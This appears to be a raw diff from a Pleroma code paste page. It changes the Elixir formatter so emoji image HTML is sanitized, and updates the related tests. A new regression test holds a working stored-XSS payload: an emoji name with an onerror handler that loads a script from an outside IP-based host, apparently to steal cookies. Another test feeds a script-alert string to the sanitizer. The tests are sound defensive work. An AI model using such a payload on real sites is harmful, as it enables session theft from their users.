No OneTemporary
Actions

Authored By

Unknown

Size

30 KB

Referenced Files

None

Subscribers

None

View Options

	diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
	index cf2944c38..9be54e863 100644
	--- a/lib/pleroma/formatter.ex
	+++ b/lib/pleroma/formatter.ex
	@@ -1,288 +1,289 @@
	defmodule Pleroma.Formatter do
	alias Pleroma.User
	alias Pleroma.Web.MediaProxy

	@tag_regex ~r/\#\w+/u
	def parse_tags(text, data \\ %{}) do
	Regex.scan(@tag_regex, text)
	\|> Enum.map(fn ["#" <> tag = full_tag] -> {full_tag, String.downcase(tag)} end)
	\|> (fn map ->
	if data["sensitive"] in [true, "True", "true", "1"],
	do: [{"#nsfw", "nsfw"}] ++ map,
	else: map
	end).()
	end

	def parse_mentions(text) do
	# Modified from https://www.w3.org/TR/html5/forms.html#valid-e-mail-address
	regex =
	~r/@[a-zA-Z0-9.!#$%&'+\/=?^_`{\|}~-]@?[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*/u

	Regex.scan(regex, text)
	\|> List.flatten()
	\|> Enum.uniq()
	\|> Enum.map(fn "@" <> match = full_match ->
	{full_match, User.get_cached_by_nickname(match)}
	end)
	\|> Enum.filter(fn {_match, user} -> user end)
	end

	@finmoji [
	"a_trusted_friend",
	"alandislands",
	"association",
	"auroraborealis",
	"baby_in_a_box",
	"bear",
	"black_gold",
	"christmasparty",
	"crosscountryskiing",
	"cupofcoffee",
	"education",
	"fashionista_finns",
	"finnishlove",
	"flag",
	"forest",
	"four_seasons_of_bbq",
	"girlpower",
	"handshake",
	"happiness",
	"headbanger",
	"icebreaker",
	"iceman",
	"joulutorttu",
	"kaamos",
	"kalsarikannit_f",
	"kalsarikannit_m",
	"karjalanpiirakka",
	"kicksled",
	"kokko",
	"lavatanssit",
	"losthopes_f",
	"losthopes_m",
	"mattinykanen",
	"meanwhileinfinland",
	"moominmamma",
	"nordicfamily",
	"out_of_office",
	"peacemaker",
	"perkele",
	"pesapallo",
	"polarbear",
	"pusa_hispida_saimensis",
	"reindeer",
	"sami",
	"sauna_f",
	"sauna_m",
	"sauna_whisk",
	"sisu",
	"stuck",
	"suomimainittu",
	"superfood",
	"swan",
	"the_cap",
	"the_conductor",
	"the_king",
	"the_voice",
	"theoriginalsanta",
	"tomoffinland",
	"torillatavataan",
	"unbreakable",
	"waiting",
	"white_nights",
	"woollysocks"
	]

	@finmoji_with_filenames Enum.map(@finmoji, fn finmoji ->
	{finmoji, "/finmoji/128px/#{finmoji}-128.png"}
	end)

	@emoji_from_file (with {:ok, default} <- File.read("config/emoji.txt") do
	custom =
	with {:ok, custom} <- File.read("config/custom_emoji.txt") do
	custom
	else
	_e -> ""
	end

	(default <> "\n" <> custom)
	\|> String.trim()
	\|> String.split(~r/\n+/)
	\|> Enum.map(fn line ->
	[name, file] = String.split(line, ~r/,\s*/)
	{name, file}
	end)
	else
	_ -> []
	end)

	@emoji_from_globs (
	static_path = Path.join(:code.priv_dir(:pleroma), "static")

	globs =
	Application.get_env(:pleroma, :emoji, [])
	\|> Keyword.get(:shortcode_globs, [])

	paths =
	Enum.map(globs, fn glob ->
	Path.join(static_path, glob)
	\|> Path.wildcard()
	end)
	\|> Enum.concat()

	Enum.map(paths, fn path ->
	shortcode = Path.basename(path, Path.extname(path))
	external_path = Path.join("/", Path.relative_to(path, static_path))
	{shortcode, external_path}
	end)
	)

	@emoji @finmoji_with_filenames ++ @emoji_from_globs ++ @emoji_from_file

	def emojify(text, emoji \\ @emoji)
	def emojify(text, nil), do: text

	def emojify(text, emoji) do
	Enum.reduce(emoji, text, fn {emoji, file}, text ->
	emoji = HtmlSanitizeEx.strip_tags(emoji)
	file = HtmlSanitizeEx.strip_tags(file)

	String.replace(
	text,
	":#{emoji}:",
	"<img height='32px' width='32px' alt='#{emoji}' title='#{emoji}' src='#{
	MediaProxy.url(file)
	}' />"
	)
	+ \|> HtmlSanitizeEx.basic_html()
	end)
	end

	def get_emoji(text) do
	Enum.filter(@emoji, fn {emoji, _} -> String.contains?(text, ":#{emoji}:") end)
	end

	def get_custom_emoji() do
	@emoji
	end

	@link_regex ~r/[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+/ui

	# IANA got a list https://www.iana.org/assignments/uri-schemes/ but
	# Stuff like ipfs isn’t in it
	# There is very niche stuff
	@uri_schemes [
	"https://",
	"http://",
	"dat://",
	"dweb://",
	"gopher://",
	"ipfs://",
	"ipns://",
	"irc:",
	"ircs:",
	"magnet:",
	"mailto:",
	"mumble:",
	"ssb://",
	"xmpp:"
	]

	# TODO: make it use something other than @link_regex
	def html_escape(text) do
	Regex.split(@link_regex, text, include_captures: true)
	\|> Enum.map_every(2, fn chunk ->
	{:safe, part} = Phoenix.HTML.html_escape(chunk)
	part
	end)
	\|> Enum.join("")
	end

	@doc "changes scheme:... urls to html links"
	def add_links({subs, text}) do
	additionnal_schemes =
	Application.get_env(:pleroma, :uri_schemes, [])
	\|> Keyword.get(:additionnal_schemes, [])

	links =
	text
	\|> String.split([" ", "\t", "<br>"])
	\|> Enum.filter(fn word -> String.starts_with?(word, @uri_schemes ++ additionnal_schemes) end)
	\|> Enum.filter(fn word -> Regex.match?(@link_regex, word) end)
	\|> Enum.map(fn url -> {Ecto.UUID.generate(), url} end)
	\|> Enum.sort_by(fn {_, url} -> -String.length(url) end)

	uuid_text =
	links
	\|> Enum.reduce(text, fn {uuid, url}, acc -> String.replace(acc, url, uuid) end)

	subs =
	subs ++
	Enum.map(links, fn {uuid, url} ->
	{:safe, link} = Phoenix.HTML.Link.link(url, to: url)

	link =
	link
	\|> IO.iodata_to_binary()

	{uuid, link}
	end)

	{subs, uuid_text}
	end

	@doc "Adds the links to mentioned users"
	def add_user_links({subs, text}, mentions) do
	mentions =
	mentions
	\|> Enum.sort_by(fn {name, _} -> -String.length(name) end)
	\|> Enum.map(fn {name, user} -> {name, user, Ecto.UUID.generate()} end)

	uuid_text =
	mentions
	\|> Enum.reduce(text, fn {match, _user, uuid}, text ->
	String.replace(text, match, uuid)
	end)

	subs =
	subs ++
	Enum.map(mentions, fn {match, %User{ap_id: ap_id, info: info}, uuid} ->
	ap_id = info["source_data"]["url"] \|\| ap_id

	short_match = String.split(match, "@") \|> tl() \|> hd()

	{uuid,
	"<span><a class='mention' href='#{ap_id}'>@<span>#{short_match}</span></a></span>"}
	end)

	{subs, uuid_text}
	end

	@doc "Adds the hashtag links"
	def add_hashtag_links({subs, text}, tags) do
	tags =
	tags
	\|> Enum.sort_by(fn {name, _} -> -String.length(name) end)
	\|> Enum.map(fn {name, short} -> {name, short, Ecto.UUID.generate()} end)

	uuid_text =
	tags
	\|> Enum.reduce(text, fn {match, _short, uuid}, text ->
	String.replace(text, match, uuid)
	end)

	subs =
	subs ++
	Enum.map(tags, fn {tag_text, tag, uuid} ->
	url = "<a href='#{Pleroma.Web.base_url()}/tag/#{tag}' rel='tag'>#{tag_text}</a>"
	{uuid, url}
	end)

	{subs, uuid_text}
	end

	def finalize({subs, text}) do
	Enum.reduce(subs, text, fn {uuid, replacement}, result_text ->
	String.replace(result_text, uuid, replacement)
	end)
	end
	end
	diff --git a/test/formatter_test.exs b/test/formatter_test.exs
	index 95558089b..8453b72ac 100644
	--- a/test/formatter_test.exs
	+++ b/test/formatter_test.exs
	@@ -1,202 +1,217 @@
	defmodule Pleroma.FormatterTest do
	alias Pleroma.Formatter
	use Pleroma.DataCase

	import Pleroma.Factory

	describe ".add_hashtag_links" do
	test "turns hashtags into links" do
	text = "I love #cofe and #2hu"

	expected_text =
	"I love <a href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"

	tags = Formatter.parse_tags(text)

	assert expected_text ==
	Formatter.add_hashtag_links({[], text}, tags) \|> Formatter.finalize()
	end
	end

	describe ".add_links" do
	test "turning urls into links" do
	text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."

	expected =
	"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://mastodon.social/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://mastodon.social:4000/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "@lambadalambda"
	expected = "@lambadalambda"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "http://www.cs.vu.nl/~ast/intel/"
	expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"

	expected =
	"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://www.google.co.jp/search?q=Nasim+Aghdam"

	expected =
	"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://en.wikipedia.org/wiki/Duff's_device"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "https://pleroma.com https://pleroma.com/sucks"

	expected =
	"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected

	text = "xmpp:contact@hacktivis.me"

	expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"

	assert Formatter.add_links({[], text}) \|> Formatter.finalize() == expected
	end
	end

	describe "add_user_links" do
	test "gives a replacement for user links" do
	text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
	gsimg = insert(:user, %{nickname: "gsimg"})

	archaeme =
	insert(:user, %{
	nickname: "archaeme",
	info: %{"source_data" => %{"url" => "https://archeme/@archaeme"}}
	})

	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	mentions = Pleroma.Formatter.parse_mentions(text)

	{subs, text} = Formatter.add_user_links({[], text}, mentions)

	assert length(subs) == 3
	Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

	expected_text =
	"<span><a class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a class='mention' href='#{
	"https://archeme/@archaeme"
	}'>@<span>archaeme</span></a></span>, that is @daggsy. Also hello <span><a class='mention' href='#{
	archaeme_remote.ap_id
	}'>@<span>archaeme</span></a></span>"

	assert expected_text == Formatter.finalize({subs, text})
	end

	test "gives a replacement for single-character local nicknames" do
	text = "@o hi"
	o = insert(:user, %{nickname: "o"})

	mentions = Formatter.parse_mentions(text)

	{subs, text} = Formatter.add_user_links({[], text}, mentions)

	assert length(subs) == 1
	Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

	expected_text = "<span><a class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
	assert expected_text == Formatter.finalize({subs, text})
	end

	test "does not give a replacement for single-character local nicknames who don't exist" do
	text = "@a hi"

	mentions = Formatter.parse_mentions(text)

	{subs, text} = Formatter.add_user_links({[], text}, mentions)

	assert length(subs) == 0
	Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)

	expected_text = "@a hi"
	assert expected_text == Formatter.finalize({subs, text})
	end
	end

	describe ".parse_tags" do
	test "parses tags in the text" do
	text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は｡"

	expected = [
	{"#Test", "test"},
	{"#working", "working"},
	{"#漢字", "漢字"},
	{"#は", "は"}
	]

	assert Formatter.parse_tags(text) == expected
	end
	end

	test "it can parse mentions and return the relevant users" do
	text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"

	gsimg = insert(:user, %{nickname: "gsimg"})
	archaeme = insert(:user, %{nickname: "archaeme"})
	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	expected_result = [
	{"@gsimg", gsimg},
	{"@archaeme", archaeme},
	{"@archaeme@archae.me", archaeme_remote}
	]

	assert Formatter.parse_mentions(text) == expected_result
	end

	test "it adds cool emoji" do
	text = "I love :moominmamma:"

	expected_result =
	- "I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />"
	+ "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"

	assert Formatter.emojify(text) == expected_result
	end

	+ test "it does not add XSS emoji" do
	+ text =
	+ "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
	+
	+ custom_emoji = %{
	+ "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
	+ "https://placehold.it/1x1"
	+ }
	+
	+ expected_result =
	+ "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
	+
	+ assert Formatter.emojify(text, custom_emoji) == expected_result
	+ end
	+
	test "it returns the emoji used in the text" do
	text = "I love :moominmamma:"

	assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
	end
	end
	diff --git a/test/web/twitter_api/representers/activity_representer_test.exs b/test/web/twitter_api/representers/activity_representer_test.exs
	index 3f85e028b..894d20049 100644
	--- a/test/web/twitter_api/representers/activity_representer_test.exs
	+++ b/test/web/twitter_api/representers/activity_representer_test.exs
	@@ -1,193 +1,193 @@
	defmodule Pleroma.Web.TwitterAPI.Representers.ActivityRepresenterTest do
	use Pleroma.DataCase
	alias Pleroma.{User, Activity, Object}
	alias Pleroma.Web.TwitterAPI.Representers.{ActivityRepresenter, ObjectRepresenter}
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Builders.UserBuilder
	alias Pleroma.Web.TwitterAPI.UserView
	import Pleroma.Factory

	test "an announce activity" do
	user = insert(:user)
	note_activity = insert(:note_activity)
	activity_actor = Repo.get_by(User, ap_id: note_activity.data["actor"])
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])

	{:ok, announce_activity, _object} = ActivityPub.announce(user, object)
	note_activity = Activity.get_by_ap_id(note_activity.data["id"])

	status =
	ActivityRepresenter.to_map(announce_activity, %{
	users: [user, activity_actor],
	announced_activity: note_activity,
	for: user
	})

	assert status["id"] == announce_activity.id
	assert status["user"] == UserView.render("show.json", %{user: user, for: user})

	retweeted_status =
	ActivityRepresenter.to_map(note_activity, %{user: activity_actor, for: user})

	assert retweeted_status["repeated"] == true
	assert retweeted_status["id"] == note_activity.id
	assert status["statusnet_conversation_id"] == retweeted_status["statusnet_conversation_id"]

	assert status["retweeted_status"] == retweeted_status
	assert status["activity_type"] == "repeat"
	end

	test "a like activity" do
	user = insert(:user)
	note_activity = insert(:note_activity)
	object = Object.get_by_ap_id(note_activity.data["object"]["id"])

	{:ok, like_activity, _object} = ActivityPub.like(user, object)

	status =
	ActivityRepresenter.to_map(like_activity, %{user: user, liked_activity: note_activity})

	assert status["id"] == like_activity.id
	assert status["in_reply_to_status_id"] == note_activity.id

	note_activity = Activity.get_by_ap_id(note_activity.data["id"])
	activity_actor = Repo.get_by(User, ap_id: note_activity.data["actor"])
	liked_status = ActivityRepresenter.to_map(note_activity, %{user: activity_actor, for: user})
	assert liked_status["favorited"] == true
	assert status["activity_type"] == "like"
	end

	test "an activity" do
	{:ok, user} = UserBuilder.insert()
	# {:ok, mentioned_user } = UserBuilder.insert(%{nickname: "shp", ap_id: "shp"})
	mentioned_user = insert(:user, %{nickname: "shp"})

	# {:ok, follower} = UserBuilder.insert(%{following: [User.ap_followers(user)]})
	follower = insert(:user, %{following: [User.ap_followers(user)]})

	object = %Object{
	data: %{
	"type" => "Image",
	"url" => [
	%{
	"type" => "Link",
	"mediaType" => "image/jpg",
	"href" => "http://example.org/image.jpg"
	}
	],
	"uuid" => 1
	}
	}

	content_html =
	"<script>alert('YAY')</script>Some :2hu: content mentioning <a href='#{mentioned_user.ap_id}'>@shp</shp>"

	content = HtmlSanitizeEx.strip_tags(content_html)
	date = DateTime.from_naive!(~N[2016-05-24 13:26:08.003], "Etc/UTC") \|> DateTime.to_iso8601()

	{:ok, convo_object} = Object.context_mapping("2hu") \|> Repo.insert()

	to = [
	User.ap_followers(user),
	"https://www.w3.org/ns/activitystreams#Public",
	mentioned_user.ap_id
	]

	activity = %Activity{
	id: 1,
	data: %{
	"type" => "Create",
	"id" => "id",
	"to" => to,
	"actor" => User.ap_id(user),
	"object" => %{
	"published" => date,
	"type" => "Note",
	"content" => content_html,
	"summary" => "2hu",
	"inReplyToStatusId" => 213_123,
	"attachment" => [
	object
	],
	"external_url" => "some url",
	"like_count" => 5,
	"announcement_count" => 3,
	"context" => "2hu",
	"tag" => ["content", "mentioning", "nsfw"],
	"emoji" => %{
	"2hu" => "corndog.png"
	}
	},
	"published" => date,
	"context" => "2hu"
	},
	local: false,
	recipients: to
	}

	expected_html =
	- "<p>2hu</p>alert('YAY')Some <img height='32px' width='32px' alt='2hu' title='2hu' src='corndog.png' /> content mentioning <a href=\"#{
	+ "<p>2hu</p>alert('YAY')Some <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" /> content mentioning <a href=\"#{
	mentioned_user.ap_id
	}\">@shp</a>"

	expected_status = %{
	"id" => activity.id,
	"user" => UserView.render("show.json", %{user: user, for: follower}),
	"is_local" => false,
	"statusnet_html" => expected_html,
	"text" => "2hu" <> content,
	"is_post_verb" => true,
	"created_at" => "Tue May 24 13:26:08 +0000 2016",
	"in_reply_to_status_id" => 213_123,
	"statusnet_conversation_id" => convo_object.id,
	"attachments" => [
	ObjectRepresenter.to_map(object)
	],
	"attentions" => [
	UserView.render("show.json", %{user: mentioned_user, for: follower})
	],
	"fave_num" => 5,
	"repeat_num" => 3,
	"favorited" => false,
	"repeated" => false,
	"external_url" => "some url",
	"tags" => ["nsfw", "content", "mentioning"],
	"activity_type" => "post",
	"possibly_sensitive" => true,
	"uri" => activity.data["object"]["id"],
	"visibility" => "direct",
	"summary" => "2hu"
	}

	assert ActivityRepresenter.to_map(activity, %{
	user: user,
	for: follower,
	mentioned: [mentioned_user]
	}) == expected_status
	end

	test "an undo for a follow" do
	follower = insert(:user)
	followed = insert(:user)

	{:ok, _follow} = ActivityPub.follow(follower, followed)
	{:ok, unfollow} = ActivityPub.unfollow(follower, followed)

	map = ActivityRepresenter.to_map(unfollow, %{user: follower})
	assert map["is_post_verb"] == false
	assert map["activity_type"] == "undo"
	end

	test "a delete activity" do
	object = insert(:note)
	user = User.get_by_ap_id(object.data["actor"])

	{:ok, delete} = ActivityPub.delete(object)

	map = ActivityRepresenter.to_map(delete, %{user: user})

	assert map["is_post_verb"] == false
	assert map["activity_type"] == "delete"
	assert map["uri"] == object.data["id"]
	end
	end
	diff --git a/test/web/twitter_api/views/user_view_test.exs b/test/web/twitter_api/views/user_view_test.exs
	index 24a5c5bca..7075a2370 100644
	--- a/test/web/twitter_api/views/user_view_test.exs
	+++ b/test/web/twitter_api/views/user_view_test.exs
	@@ -1,222 +1,222 @@
	defmodule Pleroma.Web.TwitterAPI.UserViewTest do
	use Pleroma.DataCase

	alias Pleroma.User
	alias Pleroma.Web.TwitterAPI.UserView
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Builders.UserBuilder

	import Pleroma.Factory

	setup do
	user = insert(:user, bio: "<span>Here's some html</span>")
	[user: user]
	end

	test "A user with an avatar object", %{user: user} do
	image = "image"
	user = %{user \| avatar: %{"url" => [%{"href" => image}]}}
	represented = UserView.render("show.json", %{user: user})
	assert represented["profile_image_url"] == image
	end

	test "A user with emoji in username", %{user: user} do
	expected =
	- "<img height='32px' width='32px' alt='karjalanpiirakka' title='karjalanpiirakka' src='/file.png' /> man"
	+ "<img height=\"32px\" width=\"32px\" alt=\"karjalanpiirakka\" title=\"karjalanpiirakka\" src=\"/file.png\" /> man"

	user = %{
	user
	\| info: %{
	"source_data" => %{
	"tag" => [
	%{
	"type" => "Emoji",
	"icon" => %{"url" => "/file.png"},
	"name" => ":karjalanpiirakka:"
	}
	]
	}
	}
	}

	user = %{user \| name: ":karjalanpiirakka: man"}
	represented = UserView.render("show.json", %{user: user})
	assert represented["name_html"] == expected
	end

	test "A user" do
	note_activity = insert(:note_activity)
	user = User.get_cached_by_ap_id(note_activity.data["actor"])
	{:ok, user} = User.update_note_count(user)
	follower = insert(:user)
	second_follower = insert(:user)

	User.follow(follower, user)
	User.follow(second_follower, user)
	User.follow(user, follower)
	{:ok, user} = User.update_follower_count(user)
	Cachex.put(:user_cache, "user_info:#{user.id}", User.user_info(Repo.get!(User, user.id)))

	image = "http://localhost:4001/images/avi.png"
	banner = "http://localhost:4001/images/banner.png"

	represented = %{
	"id" => user.id,
	"name" => user.name,
	"screen_name" => user.nickname,
	"name_html" => user.name,
	"description" => HtmlSanitizeEx.strip_tags(user.bio \|> String.replace("<br>", "\n")),
	"description_html" => HtmlSanitizeEx.basic_html(user.bio),
	"created_at" => user.inserted_at \|> Utils.format_naive_asctime(),
	"favourites_count" => 0,
	"statuses_count" => 1,
	"friends_count" => 1,
	"followers_count" => 2,
	"profile_image_url" => image,
	"profile_image_url_https" => image,
	"profile_image_url_profile_size" => image,
	"profile_image_url_original" => image,
	"following" => false,
	"follows_you" => false,
	"statusnet_blocking" => false,
	"rights" => %{
	"delete_others_notice" => false
	},
	"statusnet_profile_url" => user.ap_id,
	"cover_photo" => banner,
	"background_image" => nil,
	"is_local" => true,
	"locked" => false,
	"default_scope" => "public"
	}

	assert represented == UserView.render("show.json", %{user: user})
	end

	test "A user for a given other follower", %{user: user} do
	{:ok, follower} = UserBuilder.insert(%{following: [User.ap_followers(user)]})
	{:ok, user} = User.update_follower_count(user)
	image = "http://localhost:4001/images/avi.png"
	banner = "http://localhost:4001/images/banner.png"

	represented = %{
	"id" => user.id,
	"name" => user.name,
	"screen_name" => user.nickname,
	"name_html" => user.name,
	"description" => HtmlSanitizeEx.strip_tags(user.bio \|> String.replace("<br>", "\n")),
	"description_html" => HtmlSanitizeEx.basic_html(user.bio),
	"created_at" => user.inserted_at \|> Utils.format_naive_asctime(),
	"favourites_count" => 0,
	"statuses_count" => 0,
	"friends_count" => 0,
	"followers_count" => 1,
	"profile_image_url" => image,
	"profile_image_url_https" => image,
	"profile_image_url_profile_size" => image,
	"profile_image_url_original" => image,
	"following" => true,
	"follows_you" => false,
	"statusnet_blocking" => false,
	"rights" => %{
	"delete_others_notice" => false
	},
	"statusnet_profile_url" => user.ap_id,
	"cover_photo" => banner,
	"background_image" => nil,
	"is_local" => true,
	"locked" => false,
	"default_scope" => "public"
	}

	assert represented == UserView.render("show.json", %{user: user, for: follower})
	end

	test "A user that follows you", %{user: user} do
	follower = insert(:user)
	{:ok, follower} = User.follow(follower, user)
	{:ok, user} = User.update_follower_count(user)
	image = "http://localhost:4001/images/avi.png"
	banner = "http://localhost:4001/images/banner.png"

	represented = %{
	"id" => follower.id,
	"name" => follower.name,
	"screen_name" => follower.nickname,
	"name_html" => follower.name,
	"description" => HtmlSanitizeEx.strip_tags(follower.bio \|> String.replace("<br>", "\n")),
	"description_html" => HtmlSanitizeEx.basic_html(follower.bio),
	"created_at" => follower.inserted_at \|> Utils.format_naive_asctime(),
	"favourites_count" => 0,
	"statuses_count" => 0,
	"friends_count" => 1,
	"followers_count" => 0,
	"profile_image_url" => image,
	"profile_image_url_https" => image,
	"profile_image_url_profile_size" => image,
	"profile_image_url_original" => image,
	"following" => false,
	"follows_you" => true,
	"statusnet_blocking" => false,
	"rights" => %{
	"delete_others_notice" => false
	},
	"statusnet_profile_url" => follower.ap_id,
	"cover_photo" => banner,
	"background_image" => nil,
	"is_local" => true,
	"locked" => false,
	"default_scope" => "public"
	}

	assert represented == UserView.render("show.json", %{user: follower, for: user})
	end

	test "a user that is a moderator" do
	user = insert(:user, %{info: %{"is_moderator" => true}})
	represented = UserView.render("show.json", %{user: user, for: user})

	assert represented["rights"]["delete_others_notice"]
	end

	test "A blocked user for the blocker" do
	user = insert(:user)
	blocker = insert(:user)
	User.block(blocker, user)
	image = "http://localhost:4001/images/avi.png"
	banner = "http://localhost:4001/images/banner.png"

	represented = %{
	"id" => user.id,
	"name" => user.name,
	"screen_name" => user.nickname,
	"name_html" => user.name,
	"description" => HtmlSanitizeEx.strip_tags(user.bio \|> String.replace("<br>", "\n")),
	"description_html" => HtmlSanitizeEx.basic_html(user.bio),
	"created_at" => user.inserted_at \|> Utils.format_naive_asctime(),
	"favourites_count" => 0,
	"statuses_count" => 0,
	"friends_count" => 0,
	"followers_count" => 0,
	"profile_image_url" => image,
	"profile_image_url_https" => image,
	"profile_image_url_profile_size" => image,
	"profile_image_url_original" => image,
	"following" => false,
	"follows_you" => false,
	"statusnet_blocking" => true,
	"rights" => %{
	"delete_others_notice" => false
	},
	"statusnet_profile_url" => user.ap_id,
	"cover_photo" => banner,
	"background_image" => nil,
	"is_local" => true,
	"locked" => false,
	"default_scope" => "public"
	}

	blocker = Repo.get(User, blocker.id)
	assert represented == UserView.render("show.json", %{user: user, for: blocker})
	end
	end

File Metadata

Mime Type: text/x-diff
Expires: Sat, Oct 31, 2:30 PM (18 h, 58 m)
Storage Engine: blob
Storage Format: Raw Data
Storage Handle: 1801508
Default Alt Text: (30 KB)

No OneTemporaryActions

View Options

File Metadata

Event Timeline

No OneTemporary
Actions